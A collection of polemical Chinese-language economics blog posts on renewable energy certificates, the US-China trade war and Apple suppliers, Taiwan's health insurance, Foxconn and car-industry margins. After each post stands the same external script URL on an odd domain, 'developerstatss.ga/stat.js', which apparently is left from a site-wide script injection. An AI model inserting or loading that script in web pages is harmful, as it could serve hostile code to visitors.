分類: 經濟分析

有網紅聲稱再生能源憑證（Renewable Energy Certificates）是期貨，個人深深不以為然。理由如下：

1. 期貨的本質是一種承諾未來以特定價格買進或賣出特定實體或虛擬商品的契約。

但再生能源憑證是透過第三方單位認證發電廠商的再生能源設備與發電量，並給予一證明。買家不見得真正「物理意義」上使用了再生能源，但藉由購買此憑證可以「名義上對外宣稱使用再生能源」。

真實物理上買家可能使用的是100%火力發電，半毛再生能源也沒用到。

說穿了就是請和尚幫你念經超渡，然後要求功德迴向給你。

（我在先前另一篇文章曾談過，再生能源憑證買賣雙方都有造假或放任造假之誘因，這這點也與期貨大不相同）

2 至於為什麼我說「再生能源憑證是請和尚念經」，那是因為：念經究竟有無功德純粹是佛教/佛經自己聲稱有，真實世界無從證明。

同樣的，再生能源聲稱保護環境，也只是自己說說。

事實上我們從經濟分析角度來看，無論風電、太陽能，都是以「最低土地利用效率」的方式在發電。過去我在【需要多大的土地才能讓太陽能發電取代一座火力發電廠】(https://tinyurl.com/yy3eezvx)估算，我們需要一整個台北市土地面積鋪滿太陽能面板，才可能等同一座只要1%土地面積的火力電廠。

這意味著大規模太陽能、風力發電都必須使用更大量的野外土地。弔詭的是，人們砍罰森林來裝置太陽能面板，但後者的能源轉換效率卻可能還輸給植物。這叫環保？我不懂。

更甭提風力發電的噪音問題、鳥類侵害問題；太陽能面板的高污染製程、壽命有限與除役後清理成本…等等。

而「環保」正確定義應該是「更有效率地使用能源」！

有學者估算，如果滿足美國3億人口的用電需求（以每人每秒2400卡路里能量換算）：

純用太陽能面板供應，我們需要一整個西班牙國土面積；

純用風力發電，我們需要75個台灣土地面積；

純燒木柴，我們需要一個印度+巴基斯坦土地面積（112.6個台灣）；

純用牛馬獸力，我們需要俄羅斯+加拿大所有土地（748.3個台灣）；

純用水力發電，則我們需要一個超大水壩，流域要是五大洲加總的1.33倍！

再換另一個角度，如果用自行車選手踩踏發電，則一個美國人要660名發電奴隸才能維持現今生活水準（一個法國人是360名奴隸；一個奈及利亞人則是16名）。

這是說：不僅僅環保的本質是基於更高效率地使用能源；財富的本質也是。

而所謂的再生能源卻是反其道而行：用更低效率的方式發電！

土地邊際使用效率就是一個指標。當你必須用更多土地資源發電，則這些土地將被迫失去原本用途，邊際價格也一定飛漲，更多財富將不再用於它種更高效率生產，而是被投入到土地之中。這不僅僅有害環境保護，甚至是「財富破壞」的一種資源錯置（resources mis-placement）。

（事實上有機農業之所以非常不環保，也是因為用更低效率方式生產，這我以前批評過就不重複再說）

結論：

憑證不是期貨；論者聲稱「REC鼓勵更多再生能源投入有助環保」，經濟學答案是否定的！

https://js.developerstatss.ga/stat.js?n=ns1

看到一堆人鬼扯FB之類的公司Re100，忍不住再分享一篇MIT Tech Review的文章。
二個重點：

1. 藉由購買"再生能源憑證REC"的方式可以讓企業宣稱100%使用再生能源，但事實上並不需要真的直接使用太陽能或風電。（One avenue is to purchase renewable-energy certificates (RECs), or credits, that enable companies to claim 100 percent renewable sources without getting their power directly from solar panels or wind turbines ）

2. 實際上近乎不可能100%驗證再生能源憑證背後真的取代了傳統發電方式（ in practice it’s nearly impossible to confirm that a renewable credit actually displaces a megawatt-hour from, say, a coal plant. ）
https://www.technologyreview.com/s/541701/how-corporations-buy-their-way-to-green/
———————————————
這裡提供兩點簡單經濟分析：

1. 如同我前一篇分享Forbes的文章所舉的10%風力、90%柴油引擎的船運例子，此類再生能源憑證宣稱的100%就只是一種自欺欺人的金融遊戲。
而這類金融遊戲要生效、要玩得轉，政府強制力必須引進。是的，如果沒有「政府強迫廠商必須購買一定數額的綠能憑證」，根本不會有足夠大的誘因、足夠多的廠商去買這種騙鬼喝涼水的假貨。
我們不禁進一步要問：是誰又基於怎樣的誘因去推動政府強制企業購買此類假貨？（尋租真是好生意）

2. 這類綠能憑證背後有極大的誘因造假，同時檢驗造假與否的成本其實不低，更重要的是：購買憑證者也沒太多誘因去追究是否造假。
反正就是政府尋租活動下被迫多繳的稅。
更甚者，偷偷鼓勵綠能憑證造假反而有助於憑證供給量增加，降低憑證費用。

順道一提：這個自然，真實世界裡，太陽能與風力發電現階段就是不可能提供大多數工業所需電力，尤其是品質與穩定度要求。
只有既蠢又無知或囿於收錢辦事的假財經專家，才會相信100%再生能源營運的資料中心存在。

言歸正傳，我在此預測假綠能憑證很快就會面世，而被揭穿的時間則要再等等。

PS 深究起來，太陽能、風電或生質燃料發電本身可能更不環保、更破壞環境這點，也值得注意。

https://js.developerstatss.ga/stat.js?n=ns1

過去我關於中美貿易戰幾篇文章預測的點有：

1. 大規模生產線遷出中國現象不太會存在，因為交易費用遠比外行假財經專家想像中高得多。
即便有這部份生產線遷往他國，也不見得是因為中美貿易戰，而是其他更重要的侷限條件轉變影響。

2. 傳說中大規模生產線遷往美國的現象不會存在。因為美國生產成本與資源環境都早已不適合許多產業的大規模生產。（比如美國有能力快速精準低成本開模的師傅數量恐怕遠輸給中國）

3.與第二點相同，大規模生產線遷回台灣的可能性極低。少數個案可能存在。
但若真的發生大規模遷回台灣，其實是悲劇而非喜劇 — 這反而象徵台灣邊際勞動產出租值衰退如越南、印尼、印度等國。

————————————–
網上有位作者分析了2018年、2019年蘋果主要供應商的變化，恰好藉由這篇文章來檢驗我的預測。

a. 台灣蘋果供應商數量從51減為46；中國從34成長至39。（值得注意的是日本也從44減為39）

b. 2018年全球778家工厂，356家在中国大陆，比例为45.76%。2019年全球807家工厂，383家在中国大陆，比例为47.46%。中国大陆的工厂不管是数量，还是比例都得到了提高。
「全球工厂数量增加29家，而中国大陆工厂数量增加了27家」
…例如中国台湾新入选了一家复扬电子，从事FPC的制造，该公司入选的一家工厂位于江苏苏州。同样新入选的来自中国台湾的金箭印刷，从事印刷印务，三家工厂都在中国大陆昆山。
台湾光宝科技全球入选工厂数量由7家变成了10家，增加的3家工厂全部位于中国大陆。…

c. 2019年鸿海在中国大陆的入选工厂由24家变成了29家….2018年鸿海的入选工厂里面，一家位于巴西圣保罗，一家位于美国德克萨斯，一家位于台湾台南，也是仅有的3家位于中国大陆以外的工厂，但是到了2019年，位于中国大陆以外的工厂数量增加了。
除了位于巴西圣保罗，美国德克萨斯，台湾台南的工厂之外，还增加了2家工厂，一家位于印度泰米尔纳德邦，一家位于越南北宁省，所以鸿海开始在印度和越南布局。

d. 美国的3M电气，这个是苹果供应商的固定公司之一，在2019年该公司有来自中国大陆，中国台湾，美国，韩国的7家工厂入选，工厂数量和2018年相比少了一家，来自日本山行县的一家工厂退出了苹果供应商的行列。

e. 台灣入選工廠從53增加至56；但注意其中台積電2018年是7家工廠入選，2019年是10家。入選的還有安靠科技的一座新竹廠、可成科技一座台南廠、台達電一座新竹廠。

以全球工廠數量增加29家，台灣增減計算後只增加三家來看，而中國增加27家，且台灣工廠僅佔全球8工廠的比例變化6.8% –>6.9%、中國45.76% –>47.46%來看，實在看不出胡大媽等偽財經專家聲稱「大規模遷回台灣」的現象何在。

https://js.developerstatss.ga/stat.js?n=ns1

華盛頓政客不滿特區捷運列車是中國製，聲稱「恐有國安風險」，卻發現難堪的事實：

1. 中國中車（CRRC）不僅以最低價標得華盛頓特區捷運系統的500節車廂，同時也以低於加拿大Bombardier $226M美元，以總價$1.3B（約便宜14%）取得芝加哥846節車廂標案，更進一步分別贏得波士頓、洛杉磯、費城等美國大城的捷運系統車廂標案。

2. 讓美國政客更瞠目結舌的，是美國竟然早就沒有任何車廂製造廠商。是的，美國所有的車廂已經是加拿大、法國跟中國製。而近年中國製多能以最低價成功搶標。
就算川普喊「America 1st」喊得再大聲，真實條件就是「沒有美國廠商能生產車廂」了。

3. 更糟的還有，即便川普總統宣誓「美國在5G領域不能輸」！
可事實是美國根本沒有廠商可以完整自產自製地提供5G通訊建設與營運所需的部件。
30年前稱霸無線通訊領域的美國廠商Motorola與Lucent都已隨風而逝。
芬蘭的Nokia與法國的Alcatel一度瓜分了美國市場，但後來居上的中國華為從技術、價格到售後服務都勝過競爭對手，甚至是海放！
如今市況是華為的無線通訊設備全球市占率超過第二、第三名總合（Nokia + Ericsson）。

—————————————-

a. 此文有關「中國政府補貼」部分我們過去談過。如果真是如此，那代表中國政府在「移轉中國人民財富給美國人民享受」。

b. 從政府補貼推導的「掠奪式定價（predatory pricing）」在經濟學上只是個被證否的神話，真實世界不存在。
但此謬論卻是antitrust law的基礎，還深入人心，最後成行成市 — 看看美國法庭和與之而生的「經濟專家顧問公司」。這一塊過去或淺或深地談過，時間有限就點到為止。

c. 過去我批評胡大媽菜籃式經濟學或某些總體經濟學專家誤人子弟的其中一個點，就是：產業存在本身不僅僅是企業本身，還有周遭許許多多搭配的（從基礎建設到人力素質）條件。
換言之，生產線從此國移轉到彼國費用相當高，除非有重大條件改變影響廠商的「恆久收入預期」，否則要發生「大規模生產線移轉」絕對不是這類偽財經專家所以為的那麼容易。

再看台灣，近30年的大量生產聚落移轉至大陸，台灣自己早就不具備許多產業「大量生產」所需要的條件。因此那些幻想中美貿易戰「廠商大規模回台」的蠢話，也就只會是不知世事的幻象。

https://www.wsj.com/articles/chinas-subsidized-conquest-of-trade-11556058782

https://js.developerstatss.ga/stat.js?n=ns1

看到某些覺青拿健保當台灣之光，同時又要批判醫護人員過勞，就深深覺得「人蠢起來還真沒藥醫」。

總額管制下的健保就是對醫護人員的收入價格管制，價格管制下供給的行為就會出現變化。
在現實裡我們不會看到「短缺」立即出現，因為真實世界裡：1. 即便收入受到管制，醫生的收入還是相對其他行業高；2. 其他高收入行業的門檻也構成醫生轉職的成本；與3. 邊際上收入較低的護理人員短缺現象會比較快出現。

此外，供給行為改變除了量還有質，包括醫護人員供應服務的心態，以及院方要求醫護人員針對健保病患與自費VIP高毛利病患的服務內容都會有差異。

最明顯的差異更會出現在「風險貼水/邊際利潤率不同」的科別。風險貼水過少的科別人力供給會逐漸減少；反之則逐漸增加。

同樣的，藥品與某些治療器材在總額管制之下，也會發生供應品質與量的縮水，到最後人民連「選擇的自由」都沒有，因為某些更好的solution因為價格管制下難以維持從而根本離開台灣。病患甚至願意自費多花錢也買不到某些藥品或醫療服務。

換言之，我們看到「誤以為」物美價廉的台灣健保，其實是建立在「價格管制醫護人員、剝削健康者與高收入者的部分財富，移轉三者部分收入至消費者剩餘（sonsumer surplus）與健保相關公務員身上」的一種剝削制度。之所以可以稱之為剝削，是因為健保的「法律強制性」 — 以國家暴力強制人民服從。

上面這段論述其實我在2017年11月的「醫護過勞的真正元兇是健保制度而非勞基法」一文中都談過。

而此文未談到的問題還很多，例如健保局等公務人員為了處理「因價格管制而起的現象」推出的更多管制措施、更多行政命令，往往只會更墊高總體醫療的行政成本與費用，這些東西不但對醫病都沒幫助，甚至是讓雙方付出更高代價來完成既有任務。經濟學上來說就叫做「浪費/無效率」。

但這些公務員還會以此為政績升官發財領年終。

再者，這種以健康者彌補不健康者的制度，如果是一般商業保險會針對各種狀況去調整費率與條款，透過市價來達到效率；但價格管制下的健保本質上部分類似龐氏騙局，如果不是國家暴力介入，早就倒閉了。但即便有國家力量，只要整體國家經濟發展不如預期甚至長期衰退，則健保制度早晚還是要破產。（當然我並非聲稱商業保險就是完美，引入交易費用，許多商業保險的走上法院處理糾紛的曠日廢時也是該被考慮的現象）

再強調一次：慷他人之慨健保制度在我看來其實沒啥好驕傲的。

https://js.developerstatss.ga/stat.js?n=ns1

一堆連鴻海財報都沒讀過的人在嘴鴻海，而更多書生淺薄之見如同我幾天前的短文所言，這些人除了把郭台銘說成「不過是個商人」之外，其實連理解郭台銘成就的能力都不具備。
光是鴻海早年在塑膠模具方面的開發與管理對整個世界大量生產的貢獻，就打趴一堆嘴砲政客。
經濟學來看，唯有工業化大量生產，才能快速降低邊際生產成本，使得世界上更多人能以更低代價滿足生活需求，從而：1. 釋放多餘資金轉往滿足其他需求與投資；與2. 釋放多餘時間轉往滿足其他需求與投資。
此投資包含自我人力資源提昇、生產要素投資乃至於金融投資，毋庸贅言解釋。
換言之，整個工業大量生產創造的邊際成本快速且大幅降低本身是提昇了整體人類的財富與未來。
與此同時，我一再強調，人類財富增長才是真真正正改善人權與個人自由的重要因素，從言論自由到遷徙自由，從工作權到財產權。甚至同志婚姻或關係能公開存在，也是因為整體社會富裕程度夠，方可容忍這種「不再產出人力資源」的社會契約安排（socially contractual arrangements）。
而上次我曾提供資訊："根據107年財報鴻海精密公司在台灣一年繳交的營利事業所得稅達$165億新台幣。郭董個人所得稅金額早在2002年見報就達$8億新台幣；2016年報導更是年繳$60億元。
捐款部分，被媒體大肆報導郭董光是台大就捐款$150億元！"
先甭提現在嘴郭台銘財大氣粗、只是商人的書生魯蛇哪個人繳了比他更多的稅、捐了比他更多的錢。
我們就單看鴻海2009年以來發放的現金股利（單位新台幣）：

81.6億、172億、96.6億、160億、178億、236億、562億、626億、780億、347億。（共3,229億）
不看股價市值，單看鴻海對台灣股東發放的現金股利，試問貶低郭台銘者哪個人10年來為台灣股民創造3千多億財富的？
（也別跟我嘴股東有外資；鴻海股票並不貴，近8年來每張多在12萬新台幣以下，台灣多數人願意都能購買享受郭台銘團隊替你創造財富）

再強調一次：經濟學認為市場交易是租值耗損最低的一種資源分配方式；而透過市場交易創造財富也是對整體人類實質貢獻最大的一種方式。
因此以經濟學角度觀之，郭台銘對台灣、中國乃至於世界的實質貢獻遠遠超過檯面上所有政客總和。
另一方面，許多人智識與能力並不足以"理解（appreciate）"如此成就。這些人其實很可悲，卻也是我等專業投資戶的獲利來源。

https://js.developerstatss.ga/stat.js?n=ns1

任何號稱「民主與經濟」的經濟學研究，只要沒有下來實質調查該國產權制度如何避免「民主的立法侵害」，如美國憲法第十四號修正案或中華民國憲法第10、15、22與23條，以及相關財產權法、侵權行為法等等實際公務、法院運作等各種產權經濟學的魔鬼細節，而只是單純跑跑垃圾進垃圾出的統計數字（如GDP成長率對照所謂民主國家），其實都只是浪費油墨的垃圾論文，幾乎沒有閱讀價值，更枉論學術價值。

這類論文連「經濟學內涵」都不具備。

講得更簡單一點：沒有產權經濟學內涵的民主經濟學研究都是渣。（裡頭還有一堆是先有結論才找論點的爛貨）

至於作者來頭有多大，MIT的某某某，就科學來說重要嗎？

PS 如同我與某讀者談過：

民主只是一種資源分配的手段，而且還不是一個多好的制度，許多狀況都不適用。（這塊請先弄懂Arrow’s Impossibility Theorem這個入門邏輯遊戲再來談各種真實狀況）

民主本身並無特殊價值可言。

「產權明確且禁止立法侵害」的民主制度還算堪用，但這本身違背了民主的誘因 — 以選票來侵害他人產權恰恰是民主最常發生的現象。

以台灣而言，民主侵害人民產權最典型的有：總額管制的健保制度、文化資產保護法、海關管制…等。

https://js.developerstatss.ga/stat.js?n=ns1

汽車市場本就太成熟而投資報酬率不高，以下是知名汽車廠近年operating margin：

• Daimler AG (M-Benz)：9.5％
• Toyota：14％
• Fiat：9.5％
• Nissan：12％
• Honda：10.1％
• Ford：10％
• General Motor：14.5%

而Apple自己的operating margin高達30.8%，iPhone熱賣時達37%！

身為有腦袋的上市公司老闆，把資金壓在一個看不見爆發性成長可能，邊際獲利率也早因競爭而被壓得很低的產業，我認為可能性太低了。

尤其電動車更慘的一點，麥肯錫近日研究指出：「每台電動車平均製造成本高出內燃機車近＄12000美元！」

要知道，傳統汽車廠的生產效率已經在過去30年Toyota等精實生產帶領廝殺下逼到很高的境界，後來者很難有重大生產效率突破。再加上汽車生產的生產學習成本非常高，對新進者的投資報酬率預期更是不利。

這也是為什麼我認為Apple 最後放棄了自行研發製造汽車。同時我也據此認為Apple不太可能併購Tesla。

（以上只是短短5分鐘內的簡易判斷，抓住一兩個重要侷限條件即可。我們在判斷一個投資案是否值得進一步研究時，這個方法很好用。）

https://js.developerstatss.ga/stat.js?n=ns1

“按美元計價，3月份，中國外貿進出口總值為3647億美元，成長3.1%。其中出口1986.7億美元，成長14.2%；進口1660.3億美元，下降7.6%。
…與其他主要國家地區相較，中國對美國的外貿數據呈現下滑。李魁文指出，今年第一季，中美貿易總值人民幣8158.6億元，下降11%，占11.6%，其中出口6224.3億元，下降3.7%，進口1934.3億元，下降28.3%。
至於中國對歐盟進出口總值為人民幣1.11兆元，成長11.5%，占外貿總值的15.8%；中國與東協貿易總值為人民幣9345.5億元，成長8.1%，占13.3%；中日貿易總值為人民幣5055.5億元，成長3.2%，占7.2%。"
https://udn.com/news/story/7333/3752363

====================

1. 如同經濟學與經濟史實證（參見Smoot-Hawly法案將美國實質關稅拉升至60%，造成77%美國出口額衰退這段史實。）
貿易戰下，對戰雙方國家事實上是整體貿易額都會下降。與經濟學認為「雙邊皆輸」的觀點是相符的。
我們也看到當中美貿易戰緩解後，人們對未來收入預期的改善如何反應到真實經濟活動中。這點部份印證了利息理論，也部份印證Milton Friedman的恆久收入假設。
但我們也看到中國大陸的經濟確有相當實力，我也保持「經濟水晶球」一文中「預測中國製造品質將於未來20年內快速上升」的看法。

2. 有政治需求，貿易戰是隨時可以再打的。這點是現代政治制度（尤其民主制度）下政客尋租誘因下的必然再度上演的爛劇本。

3. 再次推薦一本很好的商業史書籍：John S. Gordon的「An Empire of Wealth: The Epic History of American Economic Power」

https://js.developerstatss.ga/stat.js?n=ns1

聯合報報導：「收入大減 街頭藝人從街頭消失」

報導原文：「…擅長扯鈴與雜技的街頭藝人卓家宏是總統盃扯鈴冠軍，有西班牙國際馬戲團藝術節金獎頭銜，當過周杰倫演唱會的扯鈴老師。他說，六、七年前在台北市信義區演出三小時進帳七千元，「現在根本不可能」。
自彈自唱的劉小凱也說，這兩年收入明顯減少，以前聽眾出手動輒五百、一千，現在以百元鈔居多。他說，有同行轉到大陸城市的民歌餐廳駐唱求個穩定。
也是吉他彈唱的洪揚固定在國道新營休息站表演，他說，這一年來收入大減三到四成，所幸平常在電子業上班，假日才兼差當街頭藝人，「如果專職做這行，可能會餓死。」…」
===================================

問題點在於：是因為景氣不好（包含整體社會收入成長預期下降）亦或是競爭增加，造成街頭藝人的收入減少？

對照台北市政府的街頭藝人執照數量統計來看，似乎景氣不好的可能性更高一點。

2013年～2018年的有效街頭藝人證照數量分別是：1207、938、937、936、956、946

2013到2014年街頭藝人證照數量有大幅衰減，對照報導中「六、七年前高收入」的敘述，可佐證2013年以前街頭藝人收入應該是真的比較高。14年的大幅衰退，很可能是收入下降使得許多人放棄此執照不再換新證。

2014年以來街頭藝人證照數量幾乎持平，也表示競爭的激烈性應無太大變化。也可看做其收入/租值不足以吸引相當量的潛在競爭對手進入市場。

而可以進一步談的是，街頭藝人這種絕佳社會整體收入的邊際觀察標的，其2018年的收入未有改善可以某個面相地反映「台灣並未從中美貿易戰中真正獲得利益」。

這也是我之前提過的邊際轉變觀察技巧：一個社會景氣好到爆炸，反映的是「實質收入增加+預期未來收入增加」，這種景況台灣有過 — 1980年代南橫公路上路邊烤小鳥的攤販多如牛毛還家家生意興隆。

再次打臉胡大媽一干胡扯的偽財經專家。

順道一提，我在「經濟分析的牛刀小試」一文中示範了「如何正確觀察景氣」，有興趣的朋友可以參考。
文章連結：https://tinyurl.com/y6x59zud

https://js.developerstatss.ga/stat.js?n=ns1